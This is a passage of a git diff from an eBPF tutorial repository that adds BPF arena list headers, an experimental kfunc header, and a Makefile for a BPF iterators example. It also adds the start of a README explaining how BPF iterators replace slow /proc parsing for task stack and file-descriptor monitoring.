+#define cast_kern(ptr) bpf_addr_space_cast(ptr, 0, 1) +#define cast_user(ptr) bpf_addr_space_cast(ptr, 1, 0) +#endif + +void __arena* bpf_arena_alloc_pages(void *map, void __arena *addr, __u32 page_cnt, + int node_id, __u64 flags) __ksym __weak; +void bpf_arena_free_pages(void *map, void __arena *ptr, __u32 page_cnt) __ksym __weak; + +#else /* when compiled as user space code */ + +#define __arena +#define __arg_arena +#define cast_kern(ptr) /* nop for user space */ +#define cast_user(ptr) /* nop for user space */ +extern char arena[1] __attribute__((weak)); + +#ifndef offsetof +#define offsetof(type, member) ((unsigned long)&((type *)0)->member) +#endif + +static inline void __arena* bpf_arena_alloc_pages(void *map, void *addr, __u32 page_cnt, + int node_id, __u64 flags) +{ + return NULL; +} +static inline void bpf_arena_free_pages(void *map, void __arena *ptr, __u32 page_cnt) +{ +} + +#endif diff --git a/src/features/bpf_arena/bpf_arena_list.h b/src/features/bpf_arena/bpf_arena_list.h new file mode 100644 index 00000000..85dbc3ea --- /dev/null +++ b/src/features/bpf_arena/bpf_arena_list.h @@ -0,0 +1,92 @@ +/* SPDX-License-Identifier: (GPL-2.0-only OR BSD-2-Clause) */ +/* Copyright (c) 2024 Meta Platforms, Inc. and affiliates. */ +#pragma once +#include "bpf_arena_common.h" + +struct arena_list_node; + +typedef struct arena_list_node __arena arena_list_node_t; + +struct arena_list_node { + arena_list_node_t *next; + arena_list_node_t * __arena *pprev; +}; + +struct arena_list_head { + struct arena_list_node __arena *first; +}; +typedef struct arena_list_head __arena arena_list_head_t; + +#define list_entry(ptr, type, member) arena_container_of(ptr, type, member) + +#define list_entry_safe(ptr, type, member) \ + ({ typeof(*ptr) * ___ptr = (ptr); \ + ___ptr ? ({ cast_kern(___ptr); list_entry(___ptr, type, member); }) : NULL; \ + }) + +#ifndef __BPF__ +static inline void *bpf_iter_num_new(struct bpf_iter_num *it, int i, int j) { return NULL; } +static inline void bpf_iter_num_destroy(struct bpf_iter_num *it) {} +static inline bool bpf_iter_num_next(struct bpf_iter_num *it) { return true; } +#define cond_break ({}) +#define can_loop true +#endif + +/* Safely walk link list elements. Deletion of elements is allowed. */ +#define list_for_each_entry(pos, head, member) \ + for (void * ___tmp = (pos = list_entry_safe((head)->first, \ + typeof(*(pos)), member), \ + (void *)0); \ + pos && ({ ___tmp = (void *)pos->member.next; 1; }) && can_loop; \ + pos = list_entry_safe((void __arena *)___tmp, typeof(*(pos)), member)) + +static inline void list_add_head(arena_list_node_t *n, arena_list_head_t *h) +{ + arena_list_node_t *first = h->first, * __arena *tmp; + + cast_user(first); + cast_kern(n); + WRITE_ONCE(n->next, first); + cast_kern(first); + if (first) { + tmp = &n->next; + cast_user(tmp); + WRITE_ONCE(first->pprev, tmp); + } + cast_user(n); + WRITE_ONCE(h->first, n); + + tmp = &h->first; + cast_user(tmp); + cast_kern(n); + WRITE_ONCE(n->pprev, tmp); +} + +static inline void __list_del(arena_list_node_t *n) +{ + arena_list_node_t *next = n->next, *tmp; + arena_list_node_t * __arena *pprev = n->pprev; + + cast_user(next); + cast_kern(pprev); + tmp = *pprev; + cast_kern(tmp); + WRITE_ONCE(tmp, next); + if (next) { + cast_user(pprev); + cast_kern(next); + WRITE_ONCE(next->pprev, pprev); + } +} + +#define POISON_POINTER_DELTA 0 + +#define LIST_POISON1 ((void __arena *) 0x100 + POISON_POINTER_DELTA) +#define LIST_POISON2 ((void __arena *) 0x122 + POISON_POINTER_DELTA) + +static inline void list_del(arena_list_node_t *n) +{ + __list_del(n); + n->next = LIST_POISON1; + n->pprev = LIST_POISON2; +} diff --git a/src/features/bpf_arena/bpf_experimental.h b/src/features/bpf_arena/bpf_experimental.h new file mode 100644 index 00000000..cd8ecd39 --- /dev/null +++ b/src/features/bpf_arena/bpf_experimental.h @@ -0,0 +1,591 @@ +#ifndef __BPF_EXPERIMENTAL__ +#define __BPF_EXPERIMENTAL__ + +#include +#include +#include +#include + +#define __contains(name, node) __attribute__((btf_decl_tag("contains:" #name ":" #node))) + +/* Description + * Allocates an object of the type represented by 'local_type_id' in + * program BTF. User may use the bpf_core_type_id_local macro to pass the + * type ID of a struct in program BTF. + * + * The 'local_type_id' parameter must be a known constant. + * The 'meta' parameter is rewritten by the verifier, no need for BPF + * program to set it. + * Returns + * A pointer to an object of the type corresponding to the passed in + * 'local_type_id', or NULL on failure. + */ +extern void *bpf_obj_new_impl(__u64 local_type_id, void *meta) __ksym; + +/* Convenience macro to wrap over bpf_obj_new_impl */ +#define bpf_obj_new(type) ((type *)bpf_obj_new_impl(bpf_core_type_id_local(type), NULL)) + +/* Description + * Free an allocated object. All fields of the object that require + * destruction will be destructed before the storage is freed. + * + * The 'meta' parameter is rewritten by the verifier, no need for BPF + * program to set it. + * Returns + * Void. + */ +extern void bpf_obj_drop_impl(void *kptr, void *meta) __ksym; + +/* Convenience macro to wrap over bpf_obj_drop_impl */ +#define bpf_obj_drop(kptr) bpf_obj_drop_impl(kptr, NULL) + +/* Description + * Increment the refcount on a refcounted local kptr, turning the + * non-owning reference input into an owning reference in the process. + * + * The 'meta' parameter is rewritten by the verifier, no need for BPF + * program to set it. + * Returns + * An owning reference to the object pointed to by 'kptr' + */ +extern void *bpf_refcount_acquire_impl(void *kptr, void *meta) __ksym; + +/* Convenience macro to wrap over bpf_refcount_acquire_impl */ +#define bpf_refcount_acquire(kptr) bpf_refcount_acquire_impl(kptr, NULL) + +/* Description + * Add a new entry to the beginning of the BPF linked list. + * + * The 'meta' and 'off' parameters are rewritten by the verifier, no need + * for BPF programs to set them + * Returns + * 0 if the node was successfully added + * -EINVAL if the node wasn't added because it's already in a list + */ +extern int bpf_list_push_front_impl(struct bpf_list_head *head, + struct bpf_list_node *node, + void *meta, __u64 off) __ksym; + +/* Convenience macro to wrap over bpf_list_push_front_impl */ +#define bpf_list_push_front(head, node) bpf_list_push_front_impl(head, node, NULL, 0) + +/* Description + * Add a new entry to the end of the BPF linked list. + * + * The 'meta' and 'off' parameters are rewritten by the verifier, no need + * for BPF programs to set them + * Returns + * 0 if the node was successfully added + * -EINVAL if the node wasn't added because it's already in a list + */ +extern int bpf_list_push_back_impl(struct bpf_list_head *head, + struct bpf_list_node *node, + void *meta, __u64 off) __ksym; + +/* Convenience macro to wrap over bpf_list_push_back_impl */ +#define bpf_list_push_back(head, node) bpf_list_push_back_impl(head, node, NULL, 0) + +/* Description + * Remove the entry at the beginning of the BPF linked list. + * Returns + * Pointer to bpf_list_node of deleted entry, or NULL if list is empty. + */ +extern struct bpf_list_node *bpf_list_pop_front(struct bpf_list_head *head) __ksym; + +/* Description + * Remove the entry at the end of the BPF linked list. + * Returns + * Pointer to bpf_list_node of deleted entry, or NULL if list is empty. + */ +extern struct bpf_list_node *bpf_list_pop_back(struct bpf_list_head *head) __ksym; + +/* Description + * Remove 'node' from rbtree with root 'root' + * Returns + * Pointer to the removed node, or NULL if 'root' didn't contain 'node' + */ +extern struct bpf_rb_node *bpf_rbtree_remove(struct bpf_rb_root *root, + struct bpf_rb_node *node) __ksym; + +/* Description + * Add 'node' to rbtree with root 'root' using comparator 'less' + * + * The 'meta' and 'off' parameters are rewritten by the verifier, no need + * for BPF programs to set them + * Returns + * 0 if the node was successfully added + * -EINVAL if the node wasn't added because it's already in a tree + */ +extern int bpf_rbtree_add_impl(struct bpf_rb_root *root, struct bpf_rb_node *node, + bool (less)(struct bpf_rb_node *a, const struct bpf_rb_node *b), + void *meta, __u64 off) __ksym; + +/* Convenience macro to wrap over bpf_rbtree_add_impl */ +#define bpf_rbtree_add(head, node, less) bpf_rbtree_add_impl(head, node, less, NULL, 0) + +/* Description + * Return the first (leftmost) node in input tree + * Returns + * Pointer to the node, which is _not_ removed from the tree. If the tree + * contains no nodes, returns NULL. + */ +extern struct bpf_rb_node *bpf_rbtree_first(struct bpf_rb_root *root) __ksym; + +/* Description + * Allocates a percpu object of the type represented by 'local_type_id' in + * program BTF. User may use the bpf_core_type_id_local macro to pass the + * type ID of a struct in program BTF. + * + * The 'local_type_id' parameter must be a known constant. + * The 'meta' parameter is rewritten by the verifier, no need for BPF + * program to set it. + * Returns + * A pointer to a percpu object of the type corresponding to the passed in + * 'local_type_id', or NULL on failure. + */ +extern void *bpf_percpu_obj_new_impl(__u64 local_type_id, void *meta) __ksym; + +/* Convenience macro to wrap over bpf_percpu_obj_new_impl */ +#define bpf_percpu_obj_new(type) ((type __percpu_kptr *)bpf_percpu_obj_new_impl(bpf_core_type_id_local(type), NULL)) + +/* Description + * Free an allocated percpu object. All fields of the object that require + * destruction will be destructed before the storage is freed. + * + * The 'meta' parameter is rewritten by the verifier, no need for BPF + * program to set it. + * Returns + * Void. + */ +extern void bpf_percpu_obj_drop_impl(void *kptr, void *meta) __ksym; + +struct bpf_iter_task_vma; + +extern int bpf_iter_task_vma_new(struct bpf_iter_task_vma *it, + struct task_struct *task, + __u64 addr) __ksym; +extern struct vm_area_struct *bpf_iter_task_vma_next(struct bpf_iter_task_vma *it) __ksym; +extern void bpf_iter_task_vma_destroy(struct bpf_iter_task_vma *it) __ksym; + +/* Convenience macro to wrap over bpf_obj_drop_impl */ +#define bpf_percpu_obj_drop(kptr) bpf_percpu_obj_drop_impl(kptr, NULL) + +/* Description + * Throw a BPF exception from the program, immediately terminating its + * execution and unwinding the stack. The supplied 'cookie' parameter + * will be the return value of the program when an exception is thrown, + * and the default exception callback is used. Otherwise, if an exception + * callback is set using the '__exception_cb(callback)' declaration tag + * on the main program, the 'cookie' parameter will be the callback's only + * input argument. + * + * Thus, in case of default exception callback, 'cookie' is subjected to + * constraints on the program's return value (as with R0 on exit). + * Otherwise, the return value of the marked exception callback will be + * subjected to the same checks. + * + * Note that throwing an exception with lingering resources (locks, + * references, etc.) will lead to a verification error. + * + * Note that callbacks *cannot* call this helper. + * Returns + * Never. + * Throws + * An exception with the specified 'cookie' value. + */ +extern void bpf_throw(u64 cookie) __ksym; + +/* Description + * Acquire a reference on the exe_file member field belonging to the + * mm_struct that is nested within the supplied task_struct. The supplied + * task_struct must be trusted/referenced. + * Returns + * A referenced file pointer pointing to the exe_file member field of the + * mm_struct nested in the supplied task_struct, or NULL. + */ +extern struct file *bpf_get_task_exe_file(struct task_struct *task) __ksym; + +/* Description + * Release a reference on the supplied file. The supplied file must be + * acquired. + */ +extern void bpf_put_file(struct file *file) __ksym; + +/* Description + * Resolve a pathname for the supplied path and store it in the supplied + * buffer. The supplied path must be trusted/referenced. + * Returns + * A positive integer corresponding to the length of the resolved pathname, + * including the NULL termination character, stored in the supplied + * buffer. On error, a negative integer is returned. + */ +extern int bpf_path_d_path(struct path *path, char *buf, size_t buf__sz) __ksym; + +/* This macro must be used to mark the exception callback corresponding to the + * main program. For example: + * + * int exception_cb(u64 cookie) { + * return cookie; + * } + * + * SEC("tc") + * __exception_cb(exception_cb) + * int main_prog(struct __sk_buff *ctx) { + * ... + * return TC_ACT_OK; + * } + * + * Here, exception callback for the main program will be 'exception_cb'. Note + * that this attribute can only be used once, and multiple exception callbacks + * specified for the main program will lead to verification error. + */ +#define __exception_cb(name) __attribute__((btf_decl_tag("exception_callback:" #name))) + +#define __bpf_assert_signed(x) _Generic((x), \ + unsigned long: 0, \ + unsigned long long: 0, \ + signed long: 1, \ + signed long long: 1 \ +) + +#define __bpf_assert_check(LHS, op, RHS) \ + _Static_assert(sizeof(&(LHS)), "1st argument must be an lvalue expression"); \ + _Static_assert(sizeof(LHS) == 8, "Only 8-byte integers are supported\n"); \ + _Static_assert(__builtin_constant_p(__bpf_assert_signed(LHS)), "internal static assert"); \ + _Static_assert(__builtin_constant_p((RHS)), "2nd argument must be a constant expression") + +#define __bpf_assert(LHS, op, cons, RHS, VAL) \ + ({ \ + (void)bpf_throw; \ + asm volatile ("if %[lhs] " op " %[rhs] goto +2; r1 = %[value]; call bpf_throw" \ + : : [lhs] "r"(LHS), [rhs] cons(RHS), [value] "ri"(VAL) : ); \ + }) + +#define __bpf_assert_op_sign(LHS, op, cons, RHS, VAL, supp_sign) \ + ({ \ + __bpf_assert_check(LHS, op, RHS); \ + if (__bpf_assert_signed(LHS) && !(supp_sign)) \ + __bpf_assert(LHS, "s" #op, cons, RHS, VAL); \ + else \ + __bpf_assert(LHS, #op, cons, RHS, VAL); \ + }) + +#define __bpf_assert_op(LHS, op, RHS, VAL, supp_sign) \ + ({ \ + if (sizeof(typeof(RHS)) == 8) { \ + const typeof(RHS) rhs_var = (RHS); \ + __bpf_assert_op_sign(LHS, op, "r", rhs_var, VAL, supp_sign); \ + } else { \ + __bpf_assert_op_sign(LHS, op, "i", RHS, VAL, supp_sign); \ + } \ + }) + +#define __cmp_cannot_be_signed(x) \ + __builtin_strcmp(#x, "==") == 0 || __builtin_strcmp(#x, "!=") == 0 || \ + __builtin_strcmp(#x, "&") == 0 + +#define __is_signed_type(type) (((type)(-1)) < (type)1) + +#define __bpf_cmp(LHS, OP, PRED, RHS, DEFAULT) \ + ({ \ + __label__ l_true; \ + bool ret = DEFAULT; \ + asm volatile goto("if %[lhs] " OP " %[rhs] goto %l[l_true]" \ + :: [lhs] "r"((short)LHS), [rhs] PRED (RHS) :: l_true); \ + ret = !DEFAULT; \ +l_true: \ + ret; \ + }) + +/* C type conversions coupled with comparison operator are tricky. + * Make sure BPF program is compiled with -Wsign-compare then + * __lhs OP __rhs below will catch the mistake. + * Be aware that we check only __lhs to figure out the sign of compare. + */ +#define _bpf_cmp(LHS, OP, RHS, UNLIKELY) \ + ({ \ + typeof(LHS) __lhs = (LHS); \ + typeof(RHS) __rhs = (RHS); \ + bool ret; \ + _Static_assert(sizeof(&(LHS)), "1st argument must be an lvalue expression"); \ + (void)(__lhs OP __rhs); \ + if (__cmp_cannot_be_signed(OP) || !__is_signed_type(typeof(__lhs))) { \ + if (sizeof(__rhs) == 8) \ + /* "i" will truncate 64-bit constant into s32, \ + * so we have to use extra register via "r". \ + */ \ + ret = __bpf_cmp(__lhs, #OP, "r", __rhs, UNLIKELY); \ + else \ + ret = __bpf_cmp(__lhs, #OP, "ri", __rhs, UNLIKELY); \ + } else { \ + if (sizeof(__rhs) == 8) \ + ret = __bpf_cmp(__lhs, "s"#OP, "r", __rhs, UNLIKELY); \ + else \ + ret = __bpf_cmp(__lhs, "s"#OP, "ri", __rhs, UNLIKELY); \ + } \ + ret; \ + }) + +#ifndef bpf_cmp_unlikely +#define bpf_cmp_unlikely(LHS, OP, RHS) _bpf_cmp(LHS, OP, RHS, true) +#endif + +#ifndef bpf_cmp_likely +#define bpf_cmp_likely(LHS, OP, RHS) \ + ({ \ + bool ret = 0; \ + if (__builtin_strcmp(#OP, "==") == 0) \ + ret = _bpf_cmp(LHS, !=, RHS, false); \ + else if (__builtin_strcmp(#OP, "!=") == 0) \ + ret = _bpf_cmp(LHS, ==, RHS, false); \ + else if (__builtin_strcmp(#OP, "<=") == 0) \ + ret = _bpf_cmp(LHS, >, RHS, false); \ + else if (__builtin_strcmp(#OP, "<") == 0) \ + ret = _bpf_cmp(LHS, >=, RHS, false); \ + else if (__builtin_strcmp(#OP, ">") == 0) \ + ret = _bpf_cmp(LHS, <=, RHS, false); \ + else if (__builtin_strcmp(#OP, ">=") == 0) \ + ret = _bpf_cmp(LHS, <, RHS, false); \ + else \ + asm volatile("r0 " #OP " invalid compare"); \ + ret; \ + }) +#endif + +/* + * Note that cond_break can only be portably used in the body of a breakable + * construct, whereas can_loop can be used anywhere. + */ +#ifdef __BPF_FEATURE_MAY_GOTO +#define can_loop \ + ({ __label__ l_break, l_continue; \ + bool ret = true; \ + asm volatile goto("may_goto %l[l_break]" \ + :::: l_break); \ + goto l_continue; \ + l_break: ret = false; \ + l_continue:; \ + ret; \ + }) + +#define cond_break \ + ({ __label__ l_break, l_continue; \ + asm volatile goto("may_goto %l[l_break]" \ + :::: l_break); \ + goto l_continue; \ + l_break: break; \ + l_continue:; \ + }) +#else +#if __BYTE_ORDER__ == __ORDER_LITTLE_ENDIAN__ +#define can_loop \ + ({ __label__ l_break, l_continue; \ + bool ret = true; \ + asm volatile goto("1:.byte 0xe5; \ + .byte 0; \ + .long ((%l[l_break] - 1b - 8) / 8) & 0xffff; \ + .short 0" \ + :::: l_break); \ + goto l_continue; \ + l_break: ret = false; \ + l_continue:; \ + ret; \ + }) + +#define cond_break \ + ({ __label__ l_break, l_continue; \ + asm volatile goto("1:.byte 0xe5; \ + .byte 0; \ + .long ((%l[l_break] - 1b - 8) / 8) & 0xffff; \ + .short 0" \ + :::: l_break); \ + goto l_continue; \ + l_break: break; \ + l_continue:; \ + }) +#else +#define can_loop \ + ({ __label__ l_break, l_continue; \ + bool ret = true; \ + asm volatile goto("1:.byte 0xe5; \ + .byte 0; \ + .long (((%l[l_break] - 1b - 8) / 8) & 0xffff) << 16; \ + .short 0" \ + :::: l_break); \ + goto l_continue; \ + l_break: ret = false; \ + l_continue:; \ + ret; \ + }) + +#define cond_break \ + ({ __label__ l_break, l_continue; \ + asm volatile goto("1:.byte 0xe5; \ + .byte 0; \ + .long (((%l[l_break] - 1b - 8) / 8) & 0xffff) << 16; \ + .short 0" \ + :::: l_break); \ + goto l_continue; \ + l_break: break; \ + l_continue:; \ + }) +#endif +#endif + +#ifndef bpf_nop_mov +#define bpf_nop_mov(var) \ + asm volatile("%[reg]=%[reg]"::[reg]"r"((short)var)) +#endif + +/* emit instruction: + * rX = rX .off = BPF_ADDR_SPACE_CAST .imm32 = (dst_as << 16) | src_as + */ +#ifndef bpf_addr_space_cast +#define bpf_addr_space_cast(var, dst_as, src_as)\ + asm volatile(".byte 0xBF; \ + .ifc %[reg], r0; \ + .byte 0x00; \ + .endif; \ + .ifc %[reg], r1; \ + .byte 0x11; \ + .endif; \ + .ifc %[reg], r2; \ + .byte 0x22; \ + .endif; \ + .ifc %[reg], r3; \ + .byte 0x33; \ + .endif; \ + .ifc %[reg], r4; \ + .byte 0x44; \ + .endif; \ + .ifc %[reg], r5; \ + .byte 0x55; \ + .endif; \ + .ifc %[reg], r6; \ + .byte 0x66; \ + .endif; \ + .ifc %[reg], r7; \ + .byte 0x77; \ + .endif; \ + .ifc %[reg], r8; \ + .byte 0x88; \ + .endif; \ + .ifc %[reg], r9; \ + .byte 0x99; \ + .endif; \ + .short %[off]; \ + .long %[as]" \ + : [reg]"+r"(var) \ + : [off]"i"(BPF_ADDR_SPACE_CAST) \ + , [as]"i"((dst_as << 16) | src_as)); +#endif + +void bpf_preempt_disable(void) __weak __ksym; +void bpf_preempt_enable(void) __weak __ksym; + +typedef struct { +} __bpf_preempt_t; + +static inline __bpf_preempt_t __bpf_preempt_constructor(void) +{ + __bpf_preempt_t ret = {}; + + bpf_preempt_disable(); + return ret; +} +static inline void __bpf_preempt_destructor(__bpf_preempt_t *t) +{ + bpf_preempt_enable(); +} +#define bpf_guard_preempt() \ + __bpf_preempt_t ___bpf_apply(preempt, __COUNTER__) \ + __attribute__((__unused__, __cleanup__(__bpf_preempt_destructor))) = \ + __bpf_preempt_constructor() + +/* Description + * Assert that a conditional expression is true. + * Returns + * Void. + * Throws + * An exception with the value zero when the assertion fails. + */ +#define bpf_assert(cond) if (!(cond)) bpf_throw(0); + +/* Description + * Assert that a conditional expression is true. + * Returns + * Void. + * Throws + * An exception with the specified value when the assertion fails. + */ +#define bpf_assert_with(cond, value) if (!(cond)) bpf_throw(value); + +/* Description + * Assert that LHS is in the range [BEG, END] (inclusive of both). This + * statement updates the known bounds of LHS during verification. Note + * that both BEG and END must be constant values, and must fit within the + * data type of LHS. + * Returns + * Void. + * Throws + * An exception with the value zero when the assertion fails. + */ +#define bpf_assert_range(LHS, BEG, END) \ + ({ \ + _Static_assert(BEG <= END, "BEG must be <= END"); \ + barrier_var(LHS); \ + __bpf_assert_op(LHS, >=, BEG, 0, false); \ + __bpf_assert_op(LHS, <=, END, 0, false); \ + }) + +/* Description + * Assert that LHS is in the range [BEG, END] (inclusive of both). This + * statement updates the known bounds of LHS during verification. Note + * that both BEG and END must be constant values, and must fit within the + * data type of LHS. + * Returns + * Void. + * Throws + * An exception with the specified value when the assertion fails. + */ +#define bpf_assert_range_with(LHS, BEG, END, value) \ + ({ \ + _Static_assert(BEG <= END, "BEG must be <= END"); \ + barrier_var(LHS); \ + __bpf_assert_op(LHS, >=, BEG, value, false); \ + __bpf_assert_op(LHS, <=, END, value, false); \ + }) + +struct bpf_iter_css_task; +struct cgroup_subsys_state; +extern int bpf_iter_css_task_new(struct bpf_iter_css_task *it, + struct cgroup_subsys_state *css, unsigned int flags) __weak __ksym; +extern struct task_struct *bpf_iter_css_task_next(struct bpf_iter_css_task *it) __weak __ksym; +extern void bpf_iter_css_task_destroy(struct bpf_iter_css_task *it) __weak __ksym; + +struct bpf_iter_task; +extern int bpf_iter_task_new(struct bpf_iter_task *it, + struct task_struct *task, unsigned int flags) __weak __ksym; +extern struct task_struct *bpf_iter_task_next(struct bpf_iter_task *it) __weak __ksym; +extern void bpf_iter_task_destroy(struct bpf_iter_task *it) __weak __ksym; + +struct bpf_iter_css; +extern int bpf_iter_css_new(struct bpf_iter_css *it, + struct cgroup_subsys_state *start, unsigned int flags) __weak __ksym; +extern struct cgroup_subsys_state *bpf_iter_css_next(struct bpf_iter_css *it) __weak __ksym; +extern void bpf_iter_css_destroy(struct bpf_iter_css *it) __weak __ksym; + +extern int bpf_wq_init(struct bpf_wq *wq, void *p__map, unsigned int flags) __weak __ksym; +extern int bpf_wq_start(struct bpf_wq *wq, unsigned int flags) __weak __ksym; +extern int bpf_wq_set_callback_impl(struct bpf_wq *wq, + int (callback_fn)(void *map, int *key, void *value), + unsigned int flags__k, void *aux__ign) __ksym; +#define bpf_wq_set_callback(timer, cb, flags) \ + bpf_wq_set_callback_impl(timer, cb, flags, NULL) + +struct bpf_iter_kmem_cache; +extern int bpf_iter_kmem_cache_new(struct bpf_iter_kmem_cache *it) __weak __ksym; +extern struct kmem_cache *bpf_iter_kmem_cache_next(struct bpf_iter_kmem_cache *it) __weak __ksym; +extern void bpf_iter_kmem_cache_destroy(struct bpf_iter_kmem_cache *it) __weak __ksym; + +#endif diff --git a/src/features/bpf_iters/.config b/src/features/bpf_iters/.config new file mode 100644 index 00000000..73992da3 --- /dev/null +++ b/src/features/bpf_iters/.config @@ -0,0 +1,2 @@ +level=Depth +type=Features diff --git a/src/features/bpf_iters/.gitignore b/src/features/bpf_iters/.gitignore new file mode 100644 index 00000000..013d67d2 --- /dev/null +++ b/src/features/bpf_iters/.gitignore @@ -0,0 +1,12 @@ +# Build artifacts +.output/ +*.o +*.skel.h + +# Generated binaries +task_stack + +# Editor files +*.swp +*~ +.vscode/ diff --git a/src/features/bpf_iters/Makefile b/src/features/bpf_iters/Makefile new file mode 100644 index 00000000..4e5aee66 --- /dev/null +++ b/src/features/bpf_iters/Makefile @@ -0,0 +1,112 @@ +# SPDX-License-Identifier: (LGPL-2.1 OR BSD-2-Clause) +OUTPUT := .output +CLANG ?= clang +LIBBPF_SRC := $(abspath ../../third_party/libbpf/src) +BPFTOOL_SRC := $(abspath ../../third_party/bpftool/src) +LIBBPF_OBJ := $(abspath $(OUTPUT)/libbpf.a) +BPFTOOL_OUTPUT ?= $(abspath $(OUTPUT)/bpftool) +BPFTOOL ?= $(BPFTOOL_OUTPUT)/bootstrap/bpftool +ARCH ?= $(shell uname -m | sed 's/x86_64/x86/' \ + | sed 's/arm.*/arm/' \ + | sed 's/aarch64/arm64/' \ + | sed 's/ppc64le/powerpc/' \ + | sed 's/mips.*/mips/' \ + | sed 's/riscv64/riscv/' \ + | sed 's/loongarch64/loongarch/') +VMLINUX := ../../third_party/vmlinux/$(ARCH)/vmlinux.h +# Use our own libbpf API headers and Linux UAPI headers distributed with +# libbpf to avoid dependency on system-wide headers, which could be missing or +# outdated +INCLUDES := -I$(OUTPUT) -I../../third_party/libbpf/include/uapi -I$(dir $(VMLINUX)) -I. +CFLAGS := -g -Wall +ALL_LDFLAGS := $(LDFLAGS) $(EXTRA_LDFLAGS) + +APPS = task_stack + +# Get Clang's default includes on this system. We'll explicitly add these dirs +# to the includes list when compiling with `-target bpf` because otherwise some +# architecture-specific dirs will be "missing" on some architectures/distros - +# headers such as asm/types.h, asm/byteorder.h, asm/socket.h, asm/sockios.h, +# sys/cdefs.h etc. might be missing. +# +# Use '-idirafter': Don't interfere with include mechanics except where the +# build would have failed anyways. +CLANG_BPF_SYS_INCLUDES ?= $(shell $(CLANG) -v -E - &1 \ + | sed -n '/<...> search starts here:/,/End of search list./{ s| \(/.*\)|-idirafter \1|p }') + +ifeq ($(V),1) + Q = + msg = +else + Q = @ + msg = @printf ' %-8s %s%s\n' \ + "$(1)" \ + "$(patsubst $(abspath $(OUTPUT))/%,%,$(2))" \ + "$(if $(3), $(3))"; + MAKEFLAGS += --no-print-directory +endif + +define allow-override + $(if $(or $(findstring environment,$(origin $(1))),\ + $(findstring command line,$(origin $(1)))),,\ + $(eval $(1) = $(2))) +endef + +$(call allow-override,CC,$(CROSS_COMPILE)cc) +$(call allow-override,LD,$(CROSS_COMPILE)ld) + +.PHONY: all +all: $(APPS) + +.PHONY: clean +clean: + $(call msg,CLEAN) + $(Q)rm -rf $(OUTPUT) $(APPS) + +$(OUTPUT) $(OUTPUT)/libbpf $(BPFTOOL_OUTPUT): + $(call msg,MKDIR,$@) + $(Q)mkdir -p $@ + +# Build libbpf +$(LIBBPF_OBJ): $(wildcard $(LIBBPF_SRC)/*.[ch] $(LIBBPF_SRC)/Makefile) | $(OUTPUT)/libbpf + $(call msg,LIB,$@) + $(Q)$(MAKE) -C $(LIBBPF_SRC) BUILD_STATIC_ONLY=1 \ + OBJDIR=$(dir $@)/libbpf DESTDIR=$(dir $@) \ + INCLUDEDIR= LIBDIR= UAPIDIR= \ + install + +# Build bpftool +$(BPFTOOL): | $(BPFTOOL_OUTPUT) + $(call msg,BPFTOOL,$@) + $(Q)$(MAKE) ARCH= CROSS_COMPILE= OUTPUT=$(BPFTOOL_OUTPUT)/ -C $(BPFTOOL_SRC) bootstrap + +# Build BPF code +$(OUTPUT)/%.bpf.o: %.bpf.c $(LIBBPF_OBJ) $(wildcard %.h) $(VMLINUX) | $(OUTPUT) $(BPFTOOL) + $(call msg,BPF,$@) + $(Q)$(CLANG) -g -O2 -target bpf -D__TARGET_ARCH_$(ARCH) \ + $(INCLUDES) $(CLANG_BPF_SYS_INCLUDES) \ + -c $(filter %.c,$^) -o $(patsubst %.bpf.o,%.tmp.bpf.o,$@) + $(Q)$(BPFTOOL) gen object $@ $(patsubst %.bpf.o,%.tmp.bpf.o,$@) + +# Generate BPF skeletons +$(OUTPUT)/%.skel.h: $(OUTPUT)/%.bpf.o | $(OUTPUT) $(BPFTOOL) + $(call msg,GEN-SKEL,$@) + $(Q)$(BPFTOOL) gen skeleton $< > $@ + +# Build user-space code +$(patsubst %,$(OUTPUT)/%.o,$(APPS)): %.o: %.skel.h + +$(OUTPUT)/%.o: %.c $(wildcard %.h) | $(OUTPUT) + $(call msg,CC,$@) + $(Q)$(CC) $(CFLAGS) $(INCLUDES) -c $(filter %.c,$^) -o $@ + +# Build application binary +$(APPS): %: $(OUTPUT)/%.o $(LIBBPF_OBJ) | $(OUTPUT) + $(call msg,BINARY,$@) + $(Q)$(CC) $(CFLAGS) $^ $(ALL_LDFLAGS) -lelf -lz -o $@ + +# delete failed targets +.DELETE_ON_ERROR: + +# keep intermediate (.skel.h, .bpf.o, etc) targets +.SECONDARY: diff --git a/src/features/bpf_iters/README.md b/src/features/bpf_iters/README.md new file mode 100644 index 00000000..1b1df6bb --- /dev/null +++ b/src/features/bpf_iters/README.md @@ -0,0 +1,384 @@ +# eBPF Tutorial: BPF Iterators for Kernel Data Export + +Ever tried monitoring hundreds of processes and ended up parsing thousands of `/proc` files just to find the few you care about? Or needed custom formatted kernel data but didn't want to modify the kernel itself? Traditional `/proc` filesystem access is slow, inflexible, and forces you to process tons of data in userspace even when you only need a small filtered subset. + +This is what **BPF Iterators** solve. Introduced in Linux kernel 5.8, iterators let you traverse kernel data structures directly from BPF programs, apply filters in-kernel, and output exactly the data you need in any format you want. In this tutorial, we'll build a dual-mode iterator that shows kernel stack traces and open file descriptors for processes, with in-kernel filtering by process name - dramatically faster than parsing `/proc`. + +> The complete source code: + +## Introduction to BPF Iterators: The /proc Replacement + +### The Problem: /proc is Slow and Rigid + +Traditional Linux monitoring revolves around the `/proc` filesystem. Need to see what processes are doing? Read `/proc/*/stack`. Want open files? Parse `/proc/*/fd/*`. This works, but it's painfully inefficient when you're monitoring systems at scale or need specific filtered views of kernel data. + +The performance problem is systemic. Every `/proc` access requires a syscall, kernel mode transition, text formatting, data copy to userspace, and then you parse that text back into structures. If you want stack traces for all "bash" processes among 1000 total processes, you still read all 1000 `/proc/*/stack` files and filter in userspace. That's 1000 syscalls, 1000 text parsing operations, and megabytes of data transferred just to find a handful of matches. + +Format inflexibility compounds the problem. The kernel chooses what data to show and how to format it. Want stack traces with custom annotations? Too bad, you get the kernel's fixed format. Need to aggregate data across processes? Parse everything in userspace. The `/proc` interface is designed for human consumption, not programmatic filtering and analysis. + +Here's what traditional monitoring looks like: + +```bash +# Find stack traces for all bash processes +for pid in $(pgrep bash); do + echo "=== PID $pid ===" + cat /proc/$pid/stack +done +``` + +This spawns `pgrep` as a subprocess, makes a syscall per matching PID to read stack files, parses text output, and does all filtering in userspace. Simple to write, horrible for performance. + +### The Solution: Programmable In-Kernel Iteration + +BPF iterators flip the model. Instead of pulling all data to userspace for processing, you push your processing logic into the kernel where the data lives. An iterator is a BPF program attached to a kernel data structure traversal that gets called for each element. The kernel walks tasks, files, or sockets, invokes your BPF program with each element's context, and your code decides what to output and how to format it. + +The architecture is elegant. You write a BPF program marked `SEC("iter/task")` or 